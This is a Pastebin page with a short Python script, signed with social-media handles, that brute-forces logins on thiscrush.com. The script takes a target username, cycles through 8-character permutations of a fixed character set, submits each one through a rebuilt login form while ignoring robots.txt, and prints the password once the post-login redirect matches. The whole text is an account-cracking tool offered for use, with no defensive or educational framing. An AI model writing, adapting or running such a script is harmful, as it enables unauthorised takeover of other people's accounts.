Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # kik: eyezikg
- # instagram: @what_hacks
- #
- # Brute force for thiscrush.com
- import mechanize
- import itertools
- br = mechanize.Browser()
- br.set_handle_equiv(True)
- br.set_handle_redirect(True)
- br.set_handle_referer(True)
- br.set_handle_robots(False)
- usernamma = raw_input("User: ")
- combos=itertools.permutations("pass1234567890", 8) #change this to whatever, makes the password note take out ", 8)"
- r =br.open("http://thiscrush.com/login.php")
- for x in combos:
- new_form = '''
- <form method="POST" action="login.php">
- <center>
- <table style="font-size:12px;font-family:Arial;">
- <tbody><tr><td style="font-weight:bold;">Username:</td><td><input name="username" type="text"></td></tr>
- <tr><td style="font-weight:bold;">Password:</td><td><input name="password" type="password"></td></tr>
- <tr><td colspan="2" style="padding-top:10px;"><input name="submit" value="Login" type="submit"></td></tr>
- </tbody></table>
- </center>
- </form>
- '''
- #all you have to take care is they have the same name for input fields and submit button
- r.set_data(new_form)
- br.set_response(r)
- br.select_form( nr = 0 )
- br.form['username'] = usernamma
- br.form['password'] = ''.join(x)
- print "Checking ",br.form['password']
- response=br.submit()
- if response.geturl()==("http://thiscrush.com/~" + usernamma):
- #url to which the page is redirected after login
- print "Password is~ ",''.join(x)
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement